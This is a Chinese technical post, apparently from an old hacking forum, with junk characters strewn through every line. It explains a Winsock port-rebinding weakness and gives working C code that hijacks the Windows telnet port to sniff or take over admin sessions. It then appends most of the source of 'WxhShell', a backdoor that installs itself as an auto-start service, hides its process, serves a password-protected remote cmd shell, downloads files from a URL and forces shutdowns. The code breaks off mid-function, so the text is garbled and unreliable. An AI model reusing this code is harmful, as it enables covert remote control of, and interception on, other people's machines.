在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
8 ?xE6 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
g@d*\ P) 1KU!
tL saddr.sin_family = AF_INET;
Cwv9 a^ #|uCgdi saddr.sin_addr.s_addr = htonl(INADDR_ANY);
)HEa<P^kJl Ki;*u_4{ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
xK>*yV 3(>B Ke 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
)*u8/U `}p0VmD{NE 这意味着什么?意味着可以进行如下的攻击:
7y.kQI?3 /T"+KU* 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
mVj9 ,q0 * `JYC 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
y'3rNa]G1 /4y o` 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
sU=H&D99 D(~U6SR 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
D,k6$` f[]dfLS"W 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
GV1pn) 4 P9R9(quI 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
'6DBs8>1
{y)=eX9 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
CT&|QH{ !Z1@}`V&; #include
0j^Kgx #include
B`EJb71^Xy #include
Lc}LGq! #include
T6'^EZZY DWORD WINAPI ClientThread(LPVOID lpParam);
N:^n('U&j int main()
kXViWOXU^ {
EfqX
y>W WORD wVersionRequested;
[CY9^N DWORD ret;
v_yw@ WSADATA wsaData;
t$` r4Lb9/ BOOL val;
&j;wCvE4+ SOCKADDR_IN saddr;
___~D
dq SOCKADDR_IN scaddr;
Mc) }\{J int err;
aEB_#1 SOCKET s;
<;lkUU(WT2 SOCKET sc;
b]e"1Y)D- int caddsize;
A@`}c,G HANDLE mt;
L7l
FtX+b DWORD tid;
kj Jn2c:y wVersionRequested = MAKEWORD( 2, 2 );
Z*F3G#A err = WSAStartup( wVersionRequested, &wsaData );
59LG{R2 if ( err != 0 ) {
7 W5@TWM printf("error!WSAStartup failed!\n");
rm7ANMB: return -1;
[z:!j$K }
&0d#Y]D4` saddr.sin_family = AF_INET;
9gW|}&- e+EQ]<M //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
?d* z8w @@f"%2ZR[ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
$z6_@`[ saddr.sin_port = htons(23);
GblA9F7 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Y/F6\oh {
-E[Kml~U printf("error!socket failed!\n");
I^.Om]) return -1;
O2V }
Cp\6W[2+B val = TRUE;
poE0{HOU //SO_REUSEADDR选项就是可以实现端口重绑定的
hW<%R]^| if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
|]bsCmD {
!aUs>1i printf("error!setsockopt failed!\n");
i$Ul(? return -1;
cZ,b?I"Q% }
N%@Qf~ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
-OV&Md:~ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
gb1V~ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
L;z?aZ7n rSY!vkLE\ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
2DA]i5
{
RHW]Z
Pr< ret=GetLastError();
AI2)g1m printf("error!bind failed!\n");
z^B,:5Tt return -1;
\
#F }
+Ze}B*0 listen(s,2);
)D
O?VRI while(1)
iI T;K@& {
iT+8|Yia caddsize = sizeof(scaddr);
#\{l"- //接受连接请求
E_rI?t^ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
4>
K42m if(sc!=INVALID_SOCKET)
=jN.1} {
b=C*W,Q_# mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
As&Sq-NWf if(mt==NULL)
ZvM(Q=^ {
yZY \MB/ printf("Thread Creat Failed!\n");
qz_7%c]K[ break;
iQ67l\{R }
)MVz$h{c.] }
Pm6pv;WK CloseHandle(mt);
K-)]
1BG }
M)Z7k/=<P closesocket(s);
;fTKfa WSACleanup();
fUWG*o9 return 0;
,Zx0%#6 }
h8q[1"a: DWORD WINAPI ClientThread(LPVOID lpParam)
dlh)gp; {
6GlJ>r+n SOCKET ss = (SOCKET)lpParam;
RMV/&85?y SOCKET sc;
6yG^p]zZ unsigned char buf[4096];
Z?q]bSIT SOCKADDR_IN saddr;
C}j"Qi` long num;
N{!i=A DWORD val;
5{WE~8$ DWORD ret;
UW={[h{.|@ //如果是隐藏端口应用的话,可以在此处加一些判断
KfEx"94 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Y1\ }5k{> saddr.sin_family = AF_INET;
`,(4]tlL saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
:`#d:.@]o@ saddr.sin_port = htons(23);
QO:!p5^: if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
/{J4:N'B> {
rBzuKQK}J printf("error!socket failed!\n");
rgQOj^xKv^ return -1;
*8 A }
C3f' {} val = 100;
! I:%0D if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
)AtD}HEv {
!?jrf ]
A@ ret = GetLastError();
M]
%?>G return -1;
KK4`l}Fk:n }
HyQJXw?A: if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
O/(`S<iip {
}"H,h)T ret = GetLastError();
x8B}ZIbT9 return -1;
C==hox7b }
net@j#}j- if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
QVT5}OzMt {
@i_FTN printf("error!socket connect failed!\n");
?zMHP#i closesocket(sc);
<NY^M! closesocket(ss);
%\#8{g return -1;
$)i")=Hy }
s\(k<Ks while(1)
|^I0dR/w: {
_"yh.N& //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
76Cl\rV //如果是嗅探内容的话,可以再此处进行内容分析和记录
:S83vE81WK //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Ta0|+IYk< num = recv(ss,buf,4096,0);
?!:ha;n if(num>0)
;`4&Rm9n? send(sc,buf,num,0);
>2)OiQ`zg else if(num==0)
DPxM'7 break;
r,3DTBe num = recv(sc,buf,4096,0);
?3,:-"(@p if(num>0)
qr^3R&z!} send(ss,buf,num,0);
ZQsJL\x[UK else if(num==0)
P1 8hxXE3 break;
-0 a/$h }
f}ji?p closesocket(ss);
\)904W5R closesocket(sc);
ah&D%8E return 0 ;
Sv#XIMw{, }
XEp{VC@= ]cWUZ{puRB 4he GnMD ==========================================================
{6|G@""O %XDc,AR[ 下边附上一个代码,,WXhSHELL
HZB>{O 'F3f+YD ==========================================================
aiUY>M#| TER=*"! #include "stdafx.h"
(t
K||*u 7IH@oMvE #include <stdio.h>
(N6i4
g6 #include <string.h>
kZ
.gO #include <windows.h>
}'V5/>m[ #include <winsock2.h>
\ a<h/4#| #include <winsvc.h>
k,6f
#include <urlmon.h>
jD]~ AwRJ t#})Awy^R #pragma comment (lib, "Ws2_32.lib")
J?1 uKR #pragma comment (lib, "urlmon.lib")
::lKL wu!59pL #define MAX_USER 100 // 最大客户端连接数
a2O75 kWnm #define BUF_SOCK 200 // sock buffer
rQs)O<jl #define KEY_BUFF 255 // 输入 buffer
dr}`H,X"3 x,+{9 #define REBOOT 0 // 重启
S~bOUdV
Z #define SHUTDOWN 1 // 关机
.t-4o<7 3 TDKki(o=~ #define DEF_PORT 5000 // 监听端口
6Q@j
FaSf7D`C #define REG_LEN 16 // 注册表键长度
$y &E(J #define SVC_LEN 80 // NT服务名长度
BwGfTua k68T`Ub\W6 // 从dll定义API
'Cfl*iNb typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Wx}8T[A} typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
%#:{UR)E typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
yCR?UH; typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
WIT>!|w_ \)N9aV // wxhshell配置信息
,j{,h_Op struct WSCFG {
jl$ece5v int ws_port; // 监听端口
A]0
St@ char ws_passstr[REG_LEN]; // 口令
K~{$oD7! int ws_autoins; // 安装标记, 1=yes 0=no
o3^l~iT char ws_regname[REG_LEN]; // 注册表键名
QB uMJm char ws_svcname[REG_LEN]; // 服务名
e0zq1XcZ char ws_svcdisp[SVC_LEN]; // 服务显示名
_$YkM, char ws_svcdesc[SVC_LEN]; // 服务描述信息
&*,#5. char ws_passmsg[SVC_LEN]; // 密码输入提示信息
}Yzco52 int ws_downexe; // 下载执行标记, 1=yes 0=no
2DtM20<> char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
x%m%_2%Z char ws_filenam[SVC_LEN]; // 下载后保存的文件名
u#$]?($}d Y|f[bw };
<tNBxa$gS Qf+\;@ // default Wxhshell configuration
u@UMP@"# struct WSCFG wscfg={DEF_PORT,
c
/HHy, "xuhuanlingzhe",
?k&Vy 1,
SI-q C "Wxhshell",
)e+>w=t "Wxhshell",
^z IW+: "WxhShell Service",
R6 .hA_ih "Wrsky Windows CmdShell Service",
ci.+pF "Please Input Your Password: ",
HGs $* 1,
2B[X,rL.pX "
http://www.wrsky.com/wxhshell.exe",
jyUjlYAAv` "Wxhshell.exe"
ColV8oVnU };
TH&U
j1 _Xc8Yg }` // 消息定义模块
)._; ~z! char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
z6=Z\P+ char *msg_ws_prompt="\n\r? for help\n\r#>";
,+DG2u char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
8,4"uuI char *msg_ws_ext="\n\rExit.";
{ ]{/t-= char *msg_ws_end="\n\rQuit.";
/<=u\e'rE char *msg_ws_boot="\n\rReboot...";
QL&ZjSN char *msg_ws_poff="\n\rShutdown...";
]Ji.Zk char *msg_ws_down="\n\rSave to ";
v5#jZ$<F uM IIYS char *msg_ws_err="\n\rErr!";
wedbx00o char *msg_ws_ok="\n\rOK!";
wr/"yQA] qZtzO2Mt char ExeFile[MAX_PATH];
!mJ"gg int nUser = 0;
v!6
c0a HANDLE handles[MAX_USER];
P6-s0]-g int OsIsNt;
DS(}<HK{ 4K#>f4(U`g SERVICE_STATUS serviceStatus;
P|tO<t6/9* SERVICE_STATUS_HANDLE hServiceStatusHandle;
B$fPgW- KE5kOU; // 函数声明
1~Y<//5E int Install(void);
(ylTp]~mR- int Uninstall(void);
{9&;Q|D z int DownloadFile(char *sURL, SOCKET wsh);
!Y0Vid int Boot(int flag);
DrUO- void HideProc(void);
i(%W_d! int GetOsVer(void);
/tx]5`#@7] int Wxhshell(SOCKET wsl);
TOB-aAO void TalkWithClient(void *cs);
y|i,| int CmdShell(SOCKET sock);
?r
"{}% int StartFromService(void);
|^"1{7) int StartWxhshell(LPSTR lpCmdLine);
)Xz,j9GzJS JxdDC^> 0 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
eCU:Q VOID WINAPI NTServiceHandler( DWORD fdwControl );
"Y
=;.:qe _ @NL;w:! // 数据结构和表定义
BDW^7[n SERVICE_TABLE_ENTRY DispatchTable[] =
X8a/ `Y, {
s^G.]%iU {wscfg.ws_svcname, NTServiceMain},
A@!qv#' {NULL, NULL}
6
6EV$*dRL };
NqazpB* w7.V6S$Ga // 自我安装
bQg:zww int Install(void)
Ha0M)0Anv {
JW83Tp8[8 char svExeFile[MAX_PATH];
h,u,^ r HKEY key;
PB\(= strcpy(svExeFile,ExeFile);
`!;_ho gZ3u=uME // 如果是win9x系统,修改注册表设为自启动
Xv5wJlc!d if(!OsIsNt) {
D[[|")Fn if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
r"3=44St RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Pe_W;q. RegCloseKey(key);
p?%y82E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
\R9(x]nZ% RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
z1 |TC RegCloseKey(key);
v!-/&}W)1 return 0;
36&e.3/# }
1Ti f{i,B }
F3[T.sf }
^+>laOzC`8 else {
T\6dm/5 2+N]PW\V // 如果是NT以上系统,安装为系统服务
j?3wvw6T SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
T"}5}6rSG if (schSCManager!=0)
XSwl Tg {
r4b 6 c SC_HANDLE schService = CreateService
7?!d^$B (
ed{ -/l~j schSCManager,
z [}v{ wscfg.ws_svcname,
zlSNfgO wscfg.ws_svcdisp,
bivuqKA SERVICE_ALL_ACCESS,
.,|G7DGH] SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
m/@wh a SERVICE_AUTO_START,
}#RakV4 SERVICE_ERROR_NORMAL,
,GhS[VJjR svExeFile,
Hh3X
\ NULL,
kYP#SH/ NULL,
Ytp(aE: NULL,
y4
#>X NULL,
"rALt~AX NULL
})H wh). );
^qvZXb if (schService!=0)
1APe=tJ {
Fbr;{T
. CloseServiceHandle(schService);
h9&0Z+zs CloseServiceHandle(schSCManager);
!3c\NbU strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
1Z/(G1 strcat(svExeFile,wscfg.ws_svcname);
a{'vN93 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
g]l''7G RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
)Yh+c=6
? RegCloseKey(key);
gS!:+G% return 0;
x}wG:K }
@muRxi }
/Vx7mF: CloseServiceHandle(schSCManager);
HYD'.uj }
:".ARCg }
]`!>6/[ ,a{P4Bq return 1;
o=:9y-nH }
7JD' ) D#9m\o_ // 自我卸载
?um;s-x) int Uninstall(void)
wy<S; {
dK$XNi13.5 HKEY key;
0I-9nuw,^; ^&9zw\x;z if(!OsIsNt) {
Hs;4lSyUO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
k{R> RegDeleteValue(key,wscfg.ws_regname);
60^`JVGWH RegCloseKey(key);
y1jCg%'H if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
yM6pd U]i RegDeleteValue(key,wscfg.ws_regname);
Z\bmW%av RegCloseKey(key);
K(e$esLs- return 0;
1SQ3-WUs }
h6L&\~pf }
D%[mWc@1I }
9R!atPz9 else {
1fp? VD;01"#' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
)J o:pkM if (schSCManager!=0)
F>SRs =_ {
Co9^OF-k SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Fk&c=V;SU if (schService!=0)
\Gef \ {
Y,qI@n< if(DeleteService(schService)!=0) {
hk;5w{t}} CloseServiceHandle(schService);
h]5(]. CloseServiceHandle(schSCManager);
+qN>.y!Y return 0;
r5S[-`s; }
'0;l]/i. CloseServiceHandle(schService);
^ox=HNV }
@Z_x.Y6 CloseServiceHandle(schSCManager);
0Uz"^xO[" }
>.Pnkx* }
L8@f-Kk c`)\Pb/O return 1;
KWbI'}_z }
;HfmzY( '?{OZXg // 从指定url下载文件
EgEa1l!NSQ int DownloadFile(char *sURL, SOCKET wsh)
dM.f]-g {
pHGYQ;:L HRESULT hr;
B B{$&Oh char seps[]= "/";
N@4w!
HpJ char *token;
B&M%I:i char *file;
SBu"3ym char myURL[MAX_PATH];
4!{KWL`A char myFILE[MAX_PATH];
Ot0ap$& n1ZbRV strcpy(myURL,sURL);
(!u~CZ; token=strtok(myURL,seps);
^cC,.Fdw while(token!=NULL)
{S]}.7`l9( {
93>jr<A file=token;
*g "Nq+i@ token=strtok(NULL,seps);
1/B>XkCJ }
/s&9SYF tn\yI!a GetCurrentDirectory(MAX_PATH,myFILE);
-vo})lO strcat(myFILE, "\\");
G`D`Af/B strcat(myFILE, file);
vQG5*pR*w send(wsh,myFILE,strlen(myFILE),0);
@Rze|
T. send(wsh,"...",3,0);
;J( 8
L hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
6xmZXpd! if(hr==S_OK)
eI}aQ]$ED return 0;
e-/&$Qq else
^]Y>[[ return 1;
_gR;=~S 4&lv6`G ` }
gT{Q#C2Baw x
M/+L:_< // 系统电源模块
Ys9[5@7 int Boot(int flag)
caR<Kb:;* {
,$L4dF3 HANDLE hToken;
.^33MWu6 TOKEN_PRIVILEGES tkp;
aH(J,XY ,Q$q=E;X if(OsIsNt) {
ah$b[\#C OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
un"Gozmt5 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
& bm
1Fz tkp.PrivilegeCount = 1;
"m$##X\ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
IZ-1c1
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
w>&aEv/f if(flag==REBOOT) {
!<8W
{LT if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
' ,wFTV& return 0;
\[i1JG }
`,*3[ else {
[ZwjOi:) if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
lN
4oW3QT return 0;
fCn^=8KOZ }
y3Qsv }
ha<[bu e else {
#pow ub if(flag==REBOOT) {
e;q!6% if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
J7$5s return 0;
@Sn(lnlB }
mfn,Gjt3O else {
%)8}X>xq if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
=_*Zn(>t` return 0;
'?' l;#^i< }
2DDtu[} }
nsC3 Xf]d. : return 1;
8U"v6S~A%Q }
)T2Caqs2 epe)a // win9x进程隐藏模块
;%9 |kU void HideProc(void)
9!\B6=r y4 {
|$Sedzj' N7zft HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
? pmHFlx if ( hKernel != NULL )
a$OE0zn` {
3,3N^nSD pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
e2TiBTbQaF ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
9d659iC FreeLibrary(hKernel);
^98~U\ar }
!sP{gi#= wH&!W~M
return;
:6
R\OeH+ }
`wEb<H
20 h, ^ // 获取操作系统版本
'3fu int GetOsVer(void)
g}{aZ$sta {
RWZSQ~ OSVERSIONINFO winfo;
;7V%#- winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
L|7R9+ZG GetVersionEx(&winfo);
c
( C%Hld if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
%)W2H^
return 1;
&)ChQZA else
Do7Tj return 0;
Cctu|^V }
D_*WYV - % h.t+=U // 客户端句柄模块
nh>vixe int Wxhshell(SOCKET wsl)
Y eo]]i{ {
'G4ICtHQ SOCKET wsh;
^"2J]&x`G struct sockaddr_in client;
ASySiHz DWORD myID;
*Kgks 4 "?xHlYj@+ while(nUser<MAX_USER)
}2.`N%[ {
/nNN,hz int nSize=sizeof(client);
J=I:CD% wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
KwSqKI7]0 if(wsh==INVALID_SOCKET) return 1;
HCs?iJ $a"Oc handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
a~}OZ&PG if(handles[nUser]==0)
1};Stai'
closesocket(wsh);
9}<ile7^ else
<0&*9ZeD nUser++;
xF'EiX ~ }
q
dBrQC WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
zKJ#`OhT d#4**BM return 0;
0@iY:aF }
IY\5@PVZ b9HtR -iR; // 关闭 socket
6j]0R*B7`Q void CloseIt(SOCKET wsh)
f+,qNvBY/ {
[!#L6&:a8 closesocket(wsh);
w-MCZwCr) nUser--;
q"8ea/ ExitThread(0);
IK=a*}19L }
h2]P]@nW;W xj;H&swo // 客户端请求句柄
!ons]^km void TalkWithClient(void *cs)
MaQqs= {
:>f )g @,7GaK\ SOCKET wsh=(SOCKET)cs;
FbFPJ !fb char pwd[SVC_LEN];
37.S\gO] char cmd[KEY_BUFF];
K;H&n1 char chr[1];
C1n>M}b int i,j;
H3=qe I &Q#66ev while (nUser < MAX_USER) {
CXMLt {Gk1vcq if(wscfg.ws_passstr) {
}!.(n=idZ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
'4Bm;&6M //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
EUX\^c]n //ZeroMemory(pwd,KEY_BUFF);
(vJNHY M i=0;
/%1ON9o> while(i<SVC_LEN) {
2-v%`fA !PQ<04jA! // 设置超时
y/7\?qfTk fd_set FdRead;
xdt-
;w| struct timeval TimeOut;
Q\7h`d%) FD_ZERO(&FdRead);
Ie#Bkw'* FD_SET(wsh,&FdRead);
Jk
n>S#SZ TimeOut.tv_sec=8;
A]oV"`f TimeOut.tv_usec=0;
"JV_ 2K_i int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
hD!7Cl Q if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
uZKr V6X 0^g if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
rw JIx|( pwd
=chr[0]; Ioa$51&
if(chr[0]==0xd || chr[0]==0xa) { jLm ;ty2;
pwd=0; .[OUI
break; oAeUvmh
} 2uW;
xfeY
i++; 0IBSRFt$g&
} (iX+{a%"
aeM+ d`f
// 如果是非法用户,关闭 socket Om2d.7S
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?NsW|w_
} ZKTz
,
;h
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;dgp+
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7[XRd9a5(
-C]5>& W
while(1) { >KhOz[Zg
:':s@gqr
ZeroMemory(cmd,KEY_BUFF); 9qzHS~l
WW~sNC\3`(
// 自动支持客户端 telnet标准 p}~JgEE
j=0; 6O! 2P
while(j<KEY_BUFF) { i<Zc"v;
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VjZ|$k
cmd[j]=chr[0]; `b7t4d*
if(chr[0]==0xa || chr[0]==0xd) { }WXi$(@v
cmd[j]=0; S_UIO.K
break; . 3T3EX|G
} ( ^Nz9{
j++; 5<Nx^D
} =m#?neop
`+:`_4
// 下载文件 &d^m 1
if(strstr(cmd,"http://")) { S;#'M![8
send(wsh,msg_ws_down,strlen(msg_ws_down),0); =dYqS[kJW
if(DownloadFile(cmd,wsh)) k,+0u/I
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <R=Zs[9M1
else >_ T-u<E
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s9DYi~/,
} {B*s{{[/'
else { R$[vm6T?
>!1-lfa8
switch(cmd[0]) { HY:o+ciH'
}00BllJ
// 帮助 cI OlhX@
case '?': { Z,Dl` w
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M!D3 }JRm
break; wjB:5~n50k
} .|i.Cq8
// 安装 f(y:G^V
case 'i': { S3Xl
if(Install()) 'e'cb>GnA
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cjlk
else x7<K<k;s
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M gi,$H
break; l}A93jSL
} M&9+6e'-F
// 卸载 60?%<oJ oH
case 'r': { tW}'g:s
if(Uninstall())
_
*Pf
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +Q"4Migbe@
else VQOezQs\
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *#+An<iT ;
break; z[qDkL
} |#R7wnE[k~
// 显示 wxhshell 所在路径 $Ri; ^pZw[
case 'p': { 59;KQ
char svExeFile[MAX_PATH]; wgGl[_)
strcpy(svExeFile,"\n\r"); ^WWQI+pk
strcat(svExeFile,ExeFile); &7tbI5na@
send(wsh,svExeFile,strlen(svExeFile),0); vy:Z /1q
break; &E5g3lf
} <*cikXS
// 重启 f
x+/C8GK
case 'b': { -r]W
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _L=h0H l
if(Boot(REBOOT)) oE]QF.n#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); AFE~
v\Gz
else { d<P\&!R(
closesocket(wsh); hv>\gBe i
ExitThread(0); Qj3EXb
} mxdr,Idx
break; O)r4?<Q
} WOL:IZX%
// 关机 sdw(R#GE
case 'd': { =]0&i]z[.
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Se =`N
if(Boot(SHUTDOWN)) ,.FxIl]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %6f*{G
w
else { /aZ`[m2
closesocket(wsh); z*%q@]ym
ExitThread(0); smo~7;
} fVpMx4&F
break; u;2[AQ.
} GC}==^1
// 获取shell Wdbed U~`Q
case 's': { .3Oap*X
CmdShell(wsh); a<bwzX|.
closesocket(wsh); T1=fNF
ExitThread(0); Z4
=GMXj
break; JY(WK@
} 1#+S+g@#
// 退出 p H2Sbs:Tk
case 'x': { v):Or'$~M
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ji0@P'^;
CloseIt(wsh); t\7[f >
break; z!9-:
} E+;7>ja
// 离开 </*6wpN
case 'q': { h2fNuu"
send(wsh,msg_ws_end,strlen(msg_ws_end),0); }:)&u|d_
closesocket(wsh); #?:l b1
WSACleanup(); gc$l^`+M
exit(1); O3kA;[f;
break; JDT`C2-Q
} HLG"a3tt
} 61'XgkacDS
} 8FY?!C
.,6-u
// 提示信息 -e:`|(Mo
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z/+#pWBI!
} 6(ol1
(U
} oYH-wQ j
C]A.i2o8
return; yD}B%\45
} l!u_"I8j5
g]0_5?i
// shell模块句柄 3)ywX&4"L
int CmdShell(SOCKET sock) ^k9I(f^c-_
{ wI/iuc
STARTUPINFO si; F7#JLE=
ZeroMemory(&si,sizeof(si)); =B @2#W#
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {R6ZKB
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $6SW;d+>n
PROCESS_INFORMATION ProcessInfo; +52{-a,>
char cmdline[]="cmd"; $qj2w"'
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I
b5rqU\
return 0; @~a%/GQ#n*
} /9fR'EO{x
O:Tj"@h
// 自身启动模式 Xc&9Glf
int StartFromService(void) Qzw;i8n{
{ /mzlH
typedef struct i=2N;sAl
{ R4:b{ )=O
DWORD ExitStatus; f) L
DWORD PebBaseAddress; >~0Z& d
DWORD AffinityMask; Mb*?5R6;
DWORD BasePriority; aQ@oH#
